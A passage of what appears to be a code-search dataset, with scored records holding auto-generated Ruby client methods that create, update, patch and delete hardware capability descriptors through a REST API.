['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"CapabilityApi.patch_capability_sioc_module_capability_def\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:PATCH, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CapabilityApi#patch_capability_sioc_module_capability_def\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "3429c544c1056d12501ccffcca237a23", "score": "0.6300806", "text": "def create_capability_sioc_module_capability_def_with_http_info(capability_sioc_module_capability_def, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: CapabilityApi.create_capability_sioc_module_capability_def ...'\n end\n # verify the required parameter 'capability_sioc_module_capability_def' is set\n if @api_client.config.client_side_validation && capability_sioc_module_capability_def.nil?\n fail ArgumentError, \"Missing the required parameter 'capability_sioc_module_capability_def' when calling CapabilityApi.create_capability_sioc_module_capability_def\"\n end\n # resource path\n local_var_path = '/api/v1/capability/SiocModuleCapabilityDefs'\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n content_type = @api_client.select_header_content_type(['application/json'])\n if !content_type.nil?\n header_params['Content-Type'] = content_type\n end\n header_params[:'If-Match'] = opts[:'if_match'] if !opts[:'if_match'].nil?\n header_params[:'If-None-Match'] = opts[:'if_none_match'] if !opts[:'if_none_match'].nil?\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(capability_sioc_module_capability_def)\n\n # return_type\n return_type = opts[:debug_return_type] || 'CapabilitySiocModuleCapabilityDef'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"CapabilityApi.create_capability_sioc_module_capability_def\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:POST, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CapabilityApi#create_capability_sioc_module_capability_def\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "f8498bedb83653fcc999ea09520839ea", "score": "0.6267491", "text": "def create_capability_sioc_module_descriptor_with_http_info(capability_sioc_module_descriptor, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: CapabilityApi.create_capability_sioc_module_descriptor ...'\n end\n # verify the required parameter 'capability_sioc_module_descriptor' is set\n if @api_client.config.client_side_validation && capability_sioc_module_descriptor.nil?\n fail ArgumentError, \"Missing the required parameter 'capability_sioc_module_descriptor' when calling CapabilityApi.create_capability_sioc_module_descriptor\"\n end\n # resource path\n local_var_path = '/api/v1/capability/SiocModuleDescriptors'\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n content_type = @api_client.select_header_content_type(['application/json'])\n if !content_type.nil?\n header_params['Content-Type'] = content_type\n end\n header_params[:'If-Match'] = opts[:'if_match'] if !opts[:'if_match'].nil?\n header_params[:'If-None-Match'] = opts[:'if_none_match'] if !opts[:'if_none_match'].nil?\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(capability_sioc_module_descriptor)\n\n # return_type\n return_type = opts[:debug_return_type] || 'CapabilitySiocModuleDescriptor'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"CapabilityApi.create_capability_sioc_module_descriptor\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:POST, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CapabilityApi#create_capability_sioc_module_descriptor\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "92a930c09f65c6b405563926b010ec79", "score": "0.6194271", "text": "def patch_capability_sioc_module_manufacturing_def(moid, capability_sioc_module_manufacturing_def, opts = {})\n data, _status_code, _headers = patch_capability_sioc_module_manufacturing_def_with_http_info(moid, capability_sioc_module_manufacturing_def, opts)\n data\n end", "title": "" }, { "docid": "e77f75383730fecc41345ba47990d2a4", "score": "0.6112626", "text": "def update_capability_io_card_capability_def(moid, capability_io_card_capability_def, opts = {})\n data, _status_code, _headers = update_capability_io_card_capability_def_with_http_info(moid, capability_io_card_capability_def, opts)\n data\n end", "title": "" }, { "docid": "0aaefb32afe06c62b83b1841c845ac64", "score": "0.6102558", "text": "def patch_capability_sioc_module_manufacturing_def_with_http_info(moid, capability_sioc_module_manufacturing_def, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: CapabilityApi.patch_capability_sioc_module_manufacturing_def ...'\n end\n # verify the required parameter 'moid' is set\n if @api_client.config.client_side_validation && moid.nil?\n fail ArgumentError, \"Missing the required parameter 'moid' when calling CapabilityApi.patch_capability_sioc_module_manufacturing_def\"\n end\n # verify the required parameter 'capability_sioc_module_manufacturing_def' is set\n if @api_client.config.client_side_validation && capability_sioc_module_manufacturing_def.nil?\n fail ArgumentError, \"Missing the required parameter 'capability_sioc_module_manufacturing_def' when calling CapabilityApi.patch_capability_sioc_module_manufacturing_def\"\n end\n # resource path\n local_var_path = '/api/v1/capability/SiocModuleManufacturingDefs/{Moid}'.sub('{' + 'Moid' + '}', CGI.escape(moid.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n content_type = @api_client.select_header_content_type(['application/json', 'application/json-patch+json'])\n if !content_type.nil?\n header_params['Content-Type'] = content_type\n end\n header_params[:'If-Match'] = opts[:'if_match'] if !opts[:'if_match'].nil?\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(capability_sioc_module_manufacturing_def)\n\n # return_type\n return_type = opts[:debug_return_type] || 'CapabilitySiocModuleManufacturingDef'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"CapabilityApi.patch_capability_sioc_module_manufacturing_def\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:PATCH, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CapabilityApi#patch_capability_sioc_module_manufacturing_def\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "85d1d9daa3b3f3bce3dc6c37831820fa", "score": "0.5778279", "text": "def create_capability_sioc_module_manufacturing_def_with_http_info(capability_sioc_module_manufacturing_def, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: CapabilityApi.create_capability_sioc_module_manufacturing_def ...'\n end\n # verify the required parameter 'capability_sioc_module_manufacturing_def' is set\n if @api_client.config.client_side_validation && capability_sioc_module_manufacturing_def.nil?\n fail ArgumentError, \"Missing the required parameter 'capability_sioc_module_manufacturing_def' when calling CapabilityApi.create_capability_sioc_module_manufacturing_def\"\n end\n # resource path\n local_var_path = '/api/v1/capability/SiocModuleManufacturingDefs'\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n content_type = @api_client.select_header_content_type(['application/json'])\n if !content_type.nil?\n header_params['Content-Type'] = content_type\n end\n header_params[:'If-Match'] = opts[:'if_match'] if !opts[:'if_match'].nil?\n header_params[:'If-None-Match'] = opts[:'if_none_match'] if !opts[:'if_none_match'].nil?\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(capability_sioc_module_manufacturing_def)\n\n # return_type\n return_type = opts[:debug_return_type] || 'CapabilitySiocModuleManufacturingDef'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"CapabilityApi.create_capability_sioc_module_manufacturing_def\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:POST, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CapabilityApi#create_capability_sioc_module_manufacturing_def\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "f7ca5fff730c7c82859e169267e9fc1a", "score": "0.57325566", "text": "def update_capability_io_card_capability_def_with_http_info(moid, capability_io_card_capability_def, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: CapabilityApi.update_capability_io_card_capability_def ...'\n end\n # verify the required parameter 'moid' is set\n if @api_client.config.client_side_validation && moid.nil?\n fail ArgumentError, \"Missing the required parameter 'moid' when calling CapabilityApi.update_capability_io_card_capability_def\"\n end\n # verify the required parameter 'capability_io_card_capability_def' is set\n if @api_client.config.client_side_validation && capability_io_card_capability_def.nil?\n fail ArgumentError, \"Missing the required parameter 'capability_io_card_capability_def' when calling CapabilityApi.update_capability_io_card_capability_def\"\n end\n # resource path\n local_var_path = '/api/v1/capability/IoCardCapabilityDefs/{Moid}'.sub('{' + 'Moid' + '}', CGI.escape(moid.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n content_type = @api_client.select_header_content_type(['application/json', 'application/json-patch+json'])\n if !content_type.nil?\n header_params['Content-Type'] = content_type\n end\n header_params[:'If-Match'] = opts[:'if_match'] if !opts[:'if_match'].nil?\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(capability_io_card_capability_def)\n\n # return_type\n return_type = opts[:debug_return_type] || 'CapabilityIoCardCapabilityDef'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"CapabilityApi.update_capability_io_card_capability_def\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:POST, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CapabilityApi#update_capability_io_card_capability_def\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "526890cd6bc253fcf6007f3d5512ff58", "score": "0.5633263", "text": "def delete_capability_sioc_module_descriptor_with_http_info(moid, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: CapabilityApi.delete_capability_sioc_module_descriptor ...'\n end\n # verify the required parameter 'moid' is set\n if @api_client.config.client_side_validation && moid.nil?\n fail ArgumentError, \"Missing the required parameter 'moid' when calling CapabilityApi.delete_capability_sioc_module_descriptor\"\n end\n # resource path\n local_var_path = '/api/v1/capability/SiocModuleDescriptors/{Moid}'.sub('{' + 'Moid' + '}', CGI.escape(moid.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body]\n\n # return_type\n return_type = opts[:debug_return_type]\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"CapabilityApi.delete_capability_sioc_module_descriptor\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:DELETE, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CapabilityApi#delete_capability_sioc_module_descriptor\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "3077f3ea0da7ee2e0a92adf6e7070012", "score": "0.5613563", "text": "def update_capability_psu_descriptor_with_http_info(moid, capability_psu_descriptor, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: CapabilityApi.update_capability_psu_descriptor ...'\n end\n # verify the required parameter 'moid' is set\n if @api_client.config.client_side_validation && moid.nil?\n fail ArgumentError, \"Missing the required parameter 'moid' when calling CapabilityApi.update_capability_psu_descriptor\"\n end\n # verify the required parameter 'capability_psu_descriptor' is set\n if @api_client.config.client_side_validation && capability_psu_descriptor.nil?\n fail ArgumentError, \"Missing the required parameter 'capability_psu_descriptor' when calling CapabilityApi.update_capability_psu_descriptor\"\n end\n # resource path\n local_var_path = '/api/v1/capability/PsuDescriptors/{Moid}'.sub('{' + 'Moid' + '}', CGI.escape(moid.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n content_type = @api_client.select_header_content_type(['application/json', 'application/json-patch+json'])\n if !content_type.nil?\n header_params['Content-Type'] = content_type\n end\n header_params[:'If-Match'] = opts[:'if_match'] if !opts[:'if_match'].nil?\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(capability_psu_descriptor)\n\n # return_type\n return_type = opts[:debug_return_type] || 'CapabilityPsuDescriptor'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"CapabilityApi.update_capability_psu_descriptor\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:POST, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CapabilityApi#update_capability_psu_descriptor\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "4e7dce2654f6b8a38f970d6b66924e7f", "score": "0.55942035", "text": "def update_capability_io_card_manufacturing_def(moid, capability_io_card_manufacturing_def, opts = {})\n data, _status_code, _headers = update_capability_io_card_manufacturing_def_with_http_info(moid, capability_io_card_manufacturing_def, opts)\n data\n end", "title": "" }, { "docid": "49599206b5fa5c71517ed86a286f0e4e", "score": "0.55590254", "text": "def delete_capability_sioc_module_capability_def_with_http_info(moid, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: CapabilityApi.delete_capability_sioc_module_capability_def ...'\n end\n # verify the required parameter 'moid' is set\n if @api_client.config.client_side_validation && moid.nil?\n fail ArgumentError, \"Missing the required parameter 'moid' when calling CapabilityApi.delete_capability_sioc_module_capability_def\"\n end\n # resource path\n local_var_path = '/api/v1/capability/SiocModuleCapabilityDefs/{Moid}'.sub('{' + 'Moid' + '}', CGI.escape(moid.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body]\n\n # return_type\n return_type = opts[:debug_return_type]\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"CapabilityApi.delete_capability_sioc_module_capability_def\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:DELETE, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CapabilityApi#delete_capability_sioc_module_capability_def\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "8125d19e995986de68cba5bbd6f54260", "score": "0.55239403", "text": "def update_capability_psu_manufacturing_def_with_http_info(moid, capability_psu_manufacturing_def, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: CapabilityApi.update_capability_psu_manufacturing_def ...'\n end\n # verify the required parameter 'moid' is set\n if @api_client.config.client_side_validation && moid.nil?\n fail ArgumentError, \"Missing the required parameter 'moid' when calling CapabilityApi.update_capability_psu_manufacturing_def\"\n end\n # verify the required parameter 'capability_psu_manufacturing_def' is set\n if @api_client.config.client_side_validation && capability_psu_manufacturing_def.nil?\n fail ArgumentError, \"Missing the required parameter 'capability_psu_manufacturing_def' when calling CapabilityApi.update_capability_psu_manufacturing_def\"\n end\n # resource path\n local_var_path = '/api/v1/capability/PsuManufacturingDefs/{Moid}'.sub('{' + 'Moid' + '}', CGI.escape(moid.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n content_type = @api_client.select_header_content_type(['application/json', 'application/json-patch+json'])\n if !content_type.nil?\n header_params['Content-Type'] = content_type\n end\n header_params[:'If-Match'] = opts[:'if_match'] if !opts[:'if_match'].nil?\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(capability_psu_manufacturing_def)\n\n # return_type\n return_type = opts[:debug_return_type] || 'CapabilityPsuManufacturingDef'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"CapabilityApi.update_capability_psu_manufacturing_def\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:POST, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CapabilityApi#update_capability_psu_manufacturing_def\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "60e07ce5cdcb1f9e19027d784c4d8818", "score": "0.5518246", "text": "def patch_capability_io_card_capability_def(moid, capability_io_card_capability_def, opts = {})\n data, _status_code, _headers = patch_capability_io_card_capability_def_with_http_info(moid, capability_io_card_capability_def, opts)\n data\n end", "title": "" }, { "docid": "831d0ea60bdf367e0c3e30002532f2dc", "score": "0.5502144", "text": "def update_capability_io_card_manufacturing_def_with_http_info(moid, capability_io_card_manufacturing_def, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: CapabilityApi.update_capability_io_card_manufacturing_def ...'\n end\n # verify the required parameter 'moid' is set\n if @api_client.config.client_side_validation && moid.nil?\n fail ArgumentError, \"Missing the required parameter 'moid' when calling CapabilityApi.update_capability_io_card_manufacturing_def\"\n end\n # verify the required parameter 'capability_io_card_manufacturing_def' is set\n if @api_client.config.client_side_validation && capability_io_card_manufacturing_def.nil?\n fail ArgumentError, \"Missing the required parameter 'capability_io_card_manufacturing_def' when calling CapabilityApi.update_capability_io_card_manufacturing_def\"\n end\n # resource path\n local_var_path = '/api/v1/capability/IoCardManufacturingDefs/{Moid}'.sub('{' + 'Moid' + '}', CGI.escape(moid.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n content_type = @api_client.select_header_content_type(['application/json', 'application/json-patch+json'])\n if !content_type.nil?\n header_params['Content-Type'] = content_type\n end\n header_params[:'If-Match'] = opts[:'if_match'] if !opts[:'if_match'].nil?\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(capability_io_card_manufacturing_def)\n\n # return_type\n return_type = opts[:debug_return_type] || 'CapabilityIoCardManufacturingDef'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"CapabilityApi.update_capability_io_card_manufacturing_def\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:POST, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CapabilityApi#update_capability_io_card_manufacturing_def\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "b4893ae1b4aba37ecf60bee87d77cfbb", "score": "0.548184", "text": "def update_capability_chassis_manufacturing_def_with_http_info(moid, capability_chassis_manufacturing_def, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: CapabilityApi.update_capability_chassis_manufacturing_def ...'\n end\n # verify the required parameter 'moid' is set\n if @api_client.config.client_side_validation && moid.nil?\n fail ArgumentError, \"Missing the required parameter 'moid' when calling CapabilityApi.update_capability_chassis_manufacturing_def\"\n end\n # verify the required parameter 'capability_chassis_manufacturing_def' is set\n if @api_client.config.client_side_validation && capability_chassis_manufacturing_def.nil?\n fail ArgumentError, \"Missing the required parameter 'capability_chassis_manufacturing_def' when calling CapabilityApi.update_capability_chassis_manufacturing_def\"\n end\n # resource path\n local_var_path = '/api/v1/capability/ChassisManufacturingDefs/{Moid}'.sub('{' + 'Moid' + '}', CGI.escape(moid.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n content_type = @api_client.select_header_content_type(['application/json', 'application/json-patch+json'])\n if !content_type.nil?\n header_params['Content-Type'] = content_type\n end\n header_params[:'If-Match'] = opts[:'if_match'] if !opts[:'if_match'].nil?\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(capability_chassis_manufacturing_def)\n\n # return_type\n return_type = opts[:debug_return_type] || 'CapabilityChassisManufacturingDef'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"CapabilityApi.update_capability_chassis_manufacturing_def\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:POST, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CapabilityApi#update_capability_chassis_manufacturing_def\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "45b4be2c7804ff02c426c310c85069b3", "score": "0.5481411", "text": "def update_capability_io_card_descriptor_with_http_info(moid, capability_io_card_descriptor, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: CapabilityApi.update_capability_io_card_descriptor ...'\n end\n # verify the required parameter 'moid' is set\n if @api_client.config.client_side_validation && moid.nil?\n fail ArgumentError, \"Missing the required parameter 'moid' when calling CapabilityApi.update_capability_io_card_descriptor\"\n end\n # verify the required parameter 'capability_io_card_descriptor' is set\n if @api_client.config.client_side_validation && capability_io_card_descriptor.nil?\n fail ArgumentError, \"Missing the required parameter 'capability_io_card_descriptor' when calling CapabilityApi.update_capability_io_card_descriptor\"\n end\n # resource path\n local_var_path = '/api/v1/capability/IoCardDescriptors/{Moid}'.sub('{' + 'Moid' + '}', CGI.escape(moid.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n content_type = @api_client.select_header_content_type(['application/json', 'application/json-patch+json'])\n if !content_type.nil?\n header_params['Content-Type'] = content_type\n end\n header_params[:'If-Match'] = opts[:'if_match'] if !opts[:'if_match'].nil?\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(capability_io_card_descriptor)\n\n # return_type\n return_type = opts[:debug_return_type] || 'CapabilityIoCardDescriptor'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"CapabilityApi.update_capability_io_card_descriptor\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:POST, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CapabilityApi#update_capability_io_card_descriptor\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "b958af7d663489e5f9f2a54d61250f2e", "score": "0.54688394", "text": "def update_capability_cimc_firmware_descriptor_with_http_info(moid, capability_cimc_firmware_descriptor, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: CapabilityApi.update_capability_cimc_firmware_descriptor ...'\n end\n # verify the required parameter 'moid' is set\n if @api_client.config.client_side_validation && moid.nil?\n fail ArgumentError, \"Missing the required parameter 'moid' when calling CapabilityApi.update_capability_cimc_firmware_descriptor\"\n end\n # verify the required parameter 'capability_cimc_firmware_descriptor' is set\n if @api_client.config.client_side_validation && capability_cimc_firmware_descriptor.nil?\n fail ArgumentError, \"Missing the required parameter 'capability_cimc_firmware_descriptor' when calling CapabilityApi.update_capability_cimc_firmware_descriptor\"\n end\n # resource path\n local_var_path = '/api/v1/capability/CimcFirmwareDescriptors/{Moid}'.sub('{' + 'Moid' + '}', CGI.escape(moid.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n content_type = @api_client.select_header_content_type(['application/json', 'application/json-patch+json'])\n if !content_type.nil?\n header_params['Content-Type'] = content_type\n end\n header_params[:'If-Match'] = opts[:'if_match'] if !opts[:'if_match'].nil?\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(capability_cimc_firmware_descriptor)\n\n # return_type\n return_type = opts[:debug_return_type] || 'CapabilityCimcFirmwareDescriptor'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"CapabilityApi.update_capability_cimc_firmware_descriptor\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:POST, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CapabilityApi#update_capability_cimc_firmware_descriptor\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "42b9cf0d32f77320b0481e3d35525b9c", "score": "0.54613674", "text": "def update_capability_chassis_descriptor_with_http_info(moid, capability_chassis_descriptor, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: CapabilityApi.update_capability_chassis_descriptor ...'\n end\n # verify the required parameter 'moid' is set\n if @api_client.config.client_side_validation && moid.nil?\n fail ArgumentError, \"Missing the required parameter 'moid' when calling 